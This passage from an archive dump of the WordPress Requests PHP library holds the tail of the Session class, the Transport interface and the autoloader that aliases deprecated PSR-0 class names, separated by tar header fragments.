	 * @param string|Stringable|null $url Base URL for requests
	 * @param array $headers Default headers for requests
	 * @param array $data Default data for requests
	 * @param array $options Default options for requests
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string, Stringable or null.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $headers argument is not an array.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data argument is not an array.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 */
	public function __construct($url = null, $headers = [], $data = [], $options = []) {
		if ($url !== null && InputValidator::is_string_or_stringable($url) === false) {
			throw InvalidArgument::create(1, '$url', 'string|Stringable|null', gettype($url));
		}

		if (is_array($headers) === false) {
			throw InvalidArgument::create(2, '$headers', 'array', gettype($headers));
		}

		if (is_array($data) === false) {
			throw InvalidArgument::create(3, '$data', 'array', gettype($data));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(4, '$options', 'array', gettype($options));
		}

		$this->url     = $url;
		$this->headers = $headers;
		$this->data    = $data;
		$this->options = $options;

		if (empty($this->options['cookies'])) {
			$this->options['cookies'] = new Jar();
		}
	}

	/**
	 * Get a property's value
	 *
	 * @param string $name Property name.
	 * @return mixed|null Property value, null if none found
	 */
	public function __get($name) {
		if (isset($this->options[$name])) {
			return $this->options[$name];
		}

		return null;
	}

	/**
	 * Set a property's value
	 *
	 * @param string $name Property name.
	 * @param mixed $value Property value
	 */
	public function __set($name, $value) {
		$this->options[$name] = $value;
	}

	/**
	 * Remove a property's value
	 *
	 * @param string $name Property name.
	 */
	public function __isset($name) {
		return isset($this->options[$name]);
	}

	/**
	 * Remove a property's value
	 *
	 * @param string $name Property name.
	 */
	public function __unset($name) {
		unset($this->options[$name]);
	}

	/**#@+
	 * @see \WpOrg\Requests\Session::request()
	 * @param string $url
	 * @param array $headers
	 * @param array $options
	 * @return \WpOrg\Requests\Response
	 */
	/**
	 * Send a GET request
	 */
	public function get($url, $headers = [], $options = []) {
		return $this->request($url, $headers, null, Requests::GET, $options);
	}

	/**
	 * Send a HEAD request
	 */
	public function head($url, $headers = [], $options = []) {
		return $this->request($url, $headers, null, Requests::HEAD, $options);
	}

	/**
	 * Send a DELETE request
	 */
	public function delete($url, $headers = [], $options = []) {
		return $this->request($url, $headers, null, Requests::DELETE, $options);
	}
	/**#@-*/

	/**#@+
	 * @see \WpOrg\Requests\Session::request()
	 * @param string $url
	 * @param array $headers
	 * @param array $data
	 * @param array $options
	 * @return \WpOrg\Requests\Response
	 */
	/**
	 * Send a POST request
	 */
	public function post($url, $headers = [], $data = [], $options = []) {
		return $this->request($url, $headers, $data, Requests::POST, $options);
	}

	/**
	 * Send a PUT request
	 */
	public function put($url, $headers = [], $data = [], $options = []) {
		return $this->request($url, $headers, $data, Requests::PUT, $options);
	}

	/**
	 * Send a PATCH request
	 *
	 * Note: Unlike {@see \WpOrg\Requests\Session::post()} and {@see \WpOrg\Requests\Session::put()},
	 * `$headers` is required, as the specification recommends that should send an ETag
	 *
	 * @link https://tools.ietf.org/html/rfc5789
	 */
	public function patch($url, $headers, $data = [], $options = []) {
		return $this->request($url, $headers, $data, Requests::PATCH, $options);
	}
	/**#@-*/

	/**
	 * Main interface for HTTP requests
	 *
	 * This method initiates a request and sends it via a transport before
	 * parsing.
	 *
	 * @see \WpOrg\Requests\Requests::request()
	 *
	 * @param string $url URL to request
	 * @param array $headers Extra headers to send with the request
	 * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests
	 * @param string $type HTTP request type (use \WpOrg\Requests\Requests constants)
	 * @param array $options Options for the request (see {@see \WpOrg\Requests\Requests::request()})
	 * @return \WpOrg\Requests\Response
	 *
	 * @throws \WpOrg\Requests\Exception On invalid URLs (`nonhttp`)
	 */
	public function request($url, $headers = [], $data = [], $type = Requests::GET, $options = []) {
		$request = $this->merge_request(compact('url', 'headers', 'data', 'options'));

		return Requests::request($request['url'], $request['headers'], $request['data'], $type, $request['options']);
	}

	/**
	 * Send multiple HTTP requests simultaneously
	 *
	 * @see \WpOrg\Requests\Requests::request_multiple()
	 *
	 * @param array $requests Requests data (see {@see \WpOrg\Requests\Requests::request_multiple()})
	 * @param array $options Global and default options (see {@see \WpOrg\Requests\Requests::request()})
	 * @return array Responses (either \WpOrg\Requests\Response or a \WpOrg\Requests\Exception object)
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 */
	public function request_multiple($requests, $options = []) {
		if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) {
			throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(2, '$options', 'array', gettype($options));
		}

		foreach ($requests as $key => $request) {
			$requests[$key] = $this->merge_request($request, false);
		}

		$options = array_merge($this->options, $options);

		// Disallow forcing the type, as that's a per request setting
		unset($options['type']);

		return Requests::request_multiple($requests, $options);
	}

	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}

	/**
	 * Merge a request's data with the default data
	 *
	 * @param array $request Request data (same form as {@see \WpOrg\Requests\Session::request_multiple()})
	 * @param boolean $merge_options Should we merge options as well?
	 * @return array Request data
	 */
	protected function merge_request($request, $merge_options = true) {
		if ($this->url !== null) {
			$request['url'] = Iri::absolutize($this->url, $request['url']);
			$request['url'] = $request['url']->uri;
		}

		if (empty($request['headers'])) {
			$request['headers'] = [];
		}

		$request['headers'] = array_merge($this->headers, $request['headers']);

		if (empty($request['data'])) {
			if (is_array($this->data)) {
				$request['data'] = $this->data;
			}
		} elseif (is_array($request['data']) && is_array($this->data)) {
			$request['data'] = array_merge($this->data, $request['data']);
		}

		if ($merge_options === true) {
			$request['options'] = array_merge($this->options, $request['options']);

			// Disallow forcing the type, as that's a per request setting
			unset($request['options']['type']);
		}

		return $request;
	}
}
Transport.php000064400000003010151450174520007247 0ustar00<?php
/**
 * Base HTTP transport
 *
 * @package Requests\Transport
 */

namespace WpOrg\Requests;

/**
 * Base HTTP transport
 *
 * @package Requests\Transport
 */
interface Transport {
	/**
	 * Perform a request
	 *
	 * @param string $url URL to request
	 * @param array $headers Associative array of request headers
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
	 * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation
	 * @return string Raw HTTP result
	 */
	public function request($url, $headers = [], $data = [], $options = []);

	/**
	 * Send multiple requests simultaneously
	 *
	 * @param array $requests Request data (array of 'url', 'headers', 'data', 'options') as per {@see \WpOrg\Requests\Transport::request()}
	 * @param array $options Global options, see {@see \WpOrg\Requests\Requests::response()} for documentation
	 * @return array Array of \WpOrg\Requests\Response objects (may contain \WpOrg\Requests\Exception or string responses as well)
	 */
	public function request_multiple($requests, $options);

	/**
	 * Self-test whether the transport can be used.
	 *
	 * The available capabilities to test for can be found in {@see \WpOrg\Requests\Capability}.
	 *
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return bool Whether the transport can be used.
	 */
	public static function test($capabilities = []);
}
Autoload.php000064400000022167151450174520007041 0ustar00<?php
/**
 * Autoloader for Requests for PHP.
 *
 * Include this file if you'd like to avoid having to create your own autoloader.
 *
 * @package Requests
 * @since   2.0.0
 *
 * @codeCoverageIgnore
 */

namespace WpOrg\Requests;

/*
 * Ensure the autoloader is only declared once.
 * This safeguard is in place as this is the typical entry point for this library
 * and this file being required unconditionally could easily cause
 * fatal "Class already declared" errors.
 */
if (class_exists('WpOrg\Requests\Autoload') === false) {

	/**
	 * Autoloader for Requests for PHP.
	 *
	 * This autoloader supports the PSR-4 based Requests 2.0.0 classes in a case-sensitive manner
	 * as the most common server OS-es are case-sensitive and the file names are in mixed case.
	 *
	 * For the PSR-0 Requests 1.x BC-layer, requested classes will be treated case-insensitively.
	 *
	 * @package Requests
	 */
	final class Autoload {

		/**
		 * List of the old PSR-0 class names in lowercase as keys with their PSR-4 case-sensitive name as a value.
		 *
		 * @var array
		 */
		private static $deprecated_classes = [
			// Interfaces.
			'requests_auth'                              => '\WpOrg\Requests\Auth',
			'requests_hooker'                            => '\WpOrg\Requests\HookManager',
			'requests_proxy'                             => '\WpOrg\Requests\Proxy',
			'requests_transport'                         => '\WpOrg\Requests\Transport',

			// Classes.
			'requests_cookie'                            => '\WpOrg\Requests\Cookie',
			'requests_exception'                         => '\WpOrg\Requests\Exception',
			'requests_hooks'                             => '\WpOrg\Requests\Hooks',
			'requests_idnaencoder'                       => '\WpOrg\Requests\IdnaEncoder',
			'requests_ipv6'                              => '\WpOrg\Requests\Ipv6',
			'requests_iri'                               => '\WpOrg\Requests\Iri',
			'requests_response'                          => '\WpOrg\Requests\Response',
			'requests_session'                           => '\WpOrg\Requests\Session',
			'requests_ssl'                               => '\WpOrg\Requests\Ssl',
			'requests_auth_basic'                        => '\WpOrg\Requests\Auth\Basic',
			'requests_cookie_jar'                        => '\WpOrg\Requests\Cookie\Jar',
			'requests_proxy_http'                        => '\WpOrg\Requests\Proxy\Http',
			'requests_response_headers'                  => '\WpOrg\Requests\Response\Headers',
			'requests_transport_curl'                    => '\WpOrg\Requests\Transport\Curl',
			'requests_transport_fsockopen'               => '\WpOrg\Requests\Transport\Fsockopen',
			'requests_utility_caseinsensitivedictionary' => '\WpOrg\Requests\Utility\CaseInsensitiveDictionary',
			'requests_utility_filterediterator'          => '\WpOrg\Requests\Utility\FilteredIterator',
			'requests_exception_http'                    => '\WpOrg\Requests\Exception\Http',
			'requests_exception_transport'               => '\WpOrg\Requests\Exception\Transport',
			'requests_exception_transport_curl'          => '\WpOrg\Requests\Exception\Transport\Curl',
			'requests_exception_http_304'                => '\WpOrg\Requests\Exception\Http\Status304',
			'requests_exception_http_305'                => '\WpOrg\Requests\Exception\Http\Status305',
			'requests_exception_http_306'                => '\WpOrg\Requests\Exception\Http\Status306',
			'requests_exception_http_400'                => '\WpOrg\Requests\Exception\Http\Status400',
			'requests_exception_http_401'                => '\WpOrg\Requests\Exception\Http\Status401',
			'requests_exception_http_402'                => '\WpOrg\Requests\Exception\Http\Status402',
			'requests_exception_http_403'                => '\WpOrg\Requests\Exception\Http\Status403',
			'requests_exception_http_404'                => '\WpOrg\Requests\Exception\Http\Status404',
			'requests_exception_http_405'                => '\WpOrg\Requests\Exception\Http\Status405',
			'requests_exception_http_406'                => '\WpOrg\Requests\Exception\Http\Status406',
			'requests_exception_http_407'                => '\WpOrg\Requests\Exception\Http\Status407',
			'requests_exception_http_408'                => '\WpOrg\Requests\Exception\Http\Status408',
			'requests_exception_http_409'                => '\WpOrg\Requests\Exception\Http\Status409',
			'requests_exception_http_410'                => '\WpOrg\Requests\Exception\Http\Status410',
			'requests_exception_http_411'                => '\WpOrg\Requests\Exception\Http\Status411',
			'requests_exception_http_412'                => '\WpOrg\Requests\Exception\Http\Status412',
			'requests_exception_http_413'                => '\WpOrg\Requests\Exception\Http\Status413',
			'requests_exception_http_414'                => '\WpOrg\Requests\Exception\Http\Status414',
			'requests_exception_http_415'                => '\WpOrg\Requests\Exception\Http\Status415',
			'requests_exception_http_416'                => '\WpOrg\Requests\Exception\Http\Status416',
			'requests_exception_http_417'                => '\WpOrg\Requests\Exception\Http\Status417',
			'requests_exception_http_418'                => '\WpOrg\Requests\Exception\Http\Status418',
			'requests_exception_http_428'                => '\WpOrg\Requests\Exception\Http\Status428',
			'requests_exception_http_429'                => '\WpOrg\Requests\Exception\Http\Status429',
			'requests_exception_http_431'                => '\WpOrg\Requests\Exception\Http\Status431',
			'requests_exception_http_500'                => '\WpOrg\Requests\Exception\Http\Status500',
			'requests_exception_http_501'                => '\WpOrg\Requests\Exception\Http\Status501',
			'requests_exception_http_502'                => '\WpOrg\Requests\Exception\Http\Status502',
			'requests_exception_http_503'                => '\WpOrg\Requests\Exception\Http\Status503',
			'requests_exception_http_504'                => '\WpOrg\Requests\Exception\Http\Status504',
			'requests_exception_http_505'                => '\WpOrg\Requests\Exception\Http\Status505',
			'requests_exception_http_511'                => '\WpOrg\Requests\Exception\Http\Status511',
			'requests_exception_http_unknown'            => '\WpOrg\Requests\Exception\Http\StatusUnknown',
		];

		/**
		 * Register the autoloader.
		 *
		 * Note: the autoloader is *prepended* in the autoload queue.
		 * This is done to ensure that the Requests 2.0 autoloader takes precedence
		 * over a potentially (dependency-registered) Requests 1.x autoloader.
		 *
		 * @internal This method contains a safeguard against the autoloader being
		 * registered multiple times. This safeguard uses a global constant to
		 * (hopefully/in most cases) still function correctly, even if the
		 * class would be renamed.
		 *
		 * @return void
		 */
		public static function register() {
			if (defined('REQUESTS_AUTOLOAD_REGISTERED') === false) {
				spl_autoload_register([self::class, 'load'], true);
				define('REQUESTS_AUTOLOAD_REGISTERED', true);
			}
		}

		/**
		 * Autoloader.
		 *
		 * @param string $class_name Name of the class name to load.
		 *
		 * @return bool Whether a class was loaded or not.
		 */
		public static function load($class_name) {
			// Check that the class starts with "Requests" (PSR-0) or "WpOrg\Requests" (PSR-4).
			$psr_4_prefix_pos = strpos($class_name, 'WpOrg\\Requests\\');

			if (stripos($class_name, 'Requests') !== 0 && $psr_4_prefix_pos !== 0) {
				return false;
			}

			$class_lower = strtolower($class_name);

			if ($class_lower === 'requests') {
				// Reference to the original PSR-0 Requests class.
				$file = dirname(__DIR__) . '/library/Requests.php';
			} elseif ($psr_4_prefix_pos === 0) {
				// PSR-4 classname.
				$file = __DIR__ . '/' . strtr(substr($class_name, 15), '\\', '/') . '.php';
			}

			if (isset($file) && file_exists($file)) {
				include $file;
				return true;
			}

			/*
			 * Okay, so the class starts with "Requests", but we couldn't find the file.
			 * If this is one of the deprecated/renamed PSR-0 classes being requested,
			 * let's alias it to the new name and throw a deprecation notice.
			 */
			if (isset(self::$deprecated_classes[$class_lower])) {
				/*
				 * Integrators who cannot yet upgrade to the PSR-4 class names can silence deprecations
				 * by defining a `REQUESTS_SILENCE_PSR0_DEPRECATIONS` constant and setting it to `true`.
				 * The constant needs to be defined before the first deprecated class is requested
				 * via this autoloader.
				 */
				if (!defined('REQUESTS_SILENCE_PSR0_DEPRECATIONS') || REQUESTS_SILENCE_PSR0_DEPRECATIONS !== true) {
					// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_trigger_error
					trigger_error(
						'The PSR-0 `Requests_...` class names in the Requests library are deprecated.'
						. ' Switch to the PSR-4 `WpOrg\Requests\...` class names at your earliest convenience.',
						E_USER_DEPRECATED
					);

					// Prevent the deprecation notice from being thrown twice.
					if (!defined('REQUESTS_SILENCE_PSR0_DEPRECATIONS')) {
						define('REQUESTS_SILENCE_PSR0_DEPRECATIONS', true);
					}
				}

				// Create an alias and let the autoloader recursively kick in to load the PSR-4 class.
				return class_alias(self::$deprecated_classes[$class_lower], $class_name, true);
			}

			return false;
		}
	}
}